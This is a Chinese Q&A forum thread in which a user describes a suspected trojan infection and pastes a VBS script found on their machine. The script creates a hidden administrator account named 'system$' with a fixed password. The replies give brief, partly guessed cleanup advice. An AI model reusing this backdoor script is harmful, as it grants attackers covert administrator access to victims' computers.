请问如下症状是感染了什么木马?
0
悬赏园豆：5
[已关闭问题]
在我的机器里添加了多个用户名,还开启了允许远程桌面,然后打开了SQL2005的xp_cmdShell功能.
发现C盘下多出一个vbs文件:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","system$")
od.SetPassword "pagaNINI_01"
od.SetInfo
Set of=GetObject(os&"/system$",user)
oe.add os&"/system$"
自己插入U盘后,发现会在U盘下多出一个"重要系统服务..exe"的目录,删除后,刷新就又跑出来了.
请问问.
这个是什么木马?
其他回答(2)
0
U盘不要双击打开，右键，资源管理器打开，可以阻止木马、病毒自动运行。
然后删除不明文件，你那个.exe应该就是病毒或者木马了，因为目前还没发现哪个文件会叫这个名字。
删不掉就用卡巴或者其他东西删。
0
http://www.hackeroo.com/read-htm-tid-6351.html
0
普通的蠕虫吧，卡吧防这些东西容易，要是中了之后再去杀，未必杀得干净~